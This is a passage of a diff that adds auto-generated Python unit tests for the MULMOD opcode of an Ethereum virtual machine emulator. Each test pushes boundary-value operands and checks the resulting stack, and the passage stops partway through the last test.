+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_419(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_420(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_421(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_422(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_423(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_424(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_425(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_426(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_MULMOD_427(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_428(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_429(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_430(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_431(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_432(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_433(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_434(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_435(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_436(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_437(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_438(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_439(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_440(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_441(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_442(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_443(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_444(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_445(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_446(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_447(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_448(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_449(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_450(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
